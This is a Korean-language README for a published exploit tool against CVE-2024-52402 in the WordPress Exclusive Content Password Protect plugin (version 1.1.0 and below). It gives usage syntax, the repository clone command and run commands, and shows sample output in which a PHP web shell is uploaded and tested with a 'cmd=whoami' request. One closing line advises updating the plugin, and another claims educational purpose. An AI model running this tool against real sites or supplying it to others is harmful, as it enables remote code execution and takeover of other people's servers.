
WordPress Exclusive Content Password Protect 플러그인 <= 1.1.0 - CSRF를 통한 임의 파일 업로드 취약점
이 익스플로잇은 WordPress Exclusive Content Password Protect 플러그인 버전 1.1.0 이하에서 발견된 CSRF(Cross-Site Request Forgery) 취약점을 대상으로 합니다. 이 취약점으로 인해 공격자는 웹 서버에 웹 셸을 업로드하여 원격 코드 실행이 가능해질 수 있습니다.
이 취약점을 익스플로잇하려면 대상 WordPress 사이트 URL, 유효한 WordPress 사용자 이름 및 비밀번호를 제공해야 합니다. 익스플로잇 스크립트는 WordPress 사이트에 로그인하여 웹 셸 업로드를 시도합니다.
python CVE-2024-52402.py -u <target> -un <username> -p <password>
usage: CVE-2024-52402.py [-h] -u URL -un USERNAME -p PASSWORD
Exploit for ECVE-2024-52402 By | Nxploit, Khaled ALenazi
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress site URL
-un, --username USERNAME
WordPress username
-p, --password PASSWORD
WordPress password
python CVE-2024-52402.py -u http://target/wordpress -un admin -p admin
[+] Plugin version detected: 1.1.0
[+] Logged in successfully.
[!] Exploit completed! Web Shell uploaded: http://target/wordpress/wp-content/uploads/nxploit.php
[*] Test with: http://target/wordpress/wp-content/uploads/nxploit.php?cmd=whoami
이 스크립트는 Exclusive Content Password Protect 플러그인의 CSRF 취약점을 이용하여 WordPress 서버에 웹 셸을 업로드합니다. 그러나 직접적인 CSRF 공격을 수행하는 대신, 플러그인의 파일 업로드 기능을 활용하여 익스플로잇을 달성하는 데 중점을 둡니다.
저장소 클론
git clone https://github.com/Nxploited/CVE-2024-52402.git
cd CVE-2024-52402
요구 사항 설치
requests 라이브러리가 설치되어 있는지 확인하십시오:
pip install requests
스크립트 실행 다음 명령어를 사용하여 스크립트를 실행하십시오:
python CVE-2024-52402.py -u http://target/wordpress -un admin -p admin
이 취약점을 완화하려면 Exclusive Content Password Protect 플러그인을 이 문제가 수정된 최신 버전으로 업데이트하십시오.
이 스크립트는 교육 목적으로만 제공됩니다. 명시적인 테스트 허가 없이 시스템에 대해 이 스크립트를 무단 사용하는 것은 불법이며 비윤리적입니다.
익스플로잇 제작자: Nxploit , Khaled alenazi.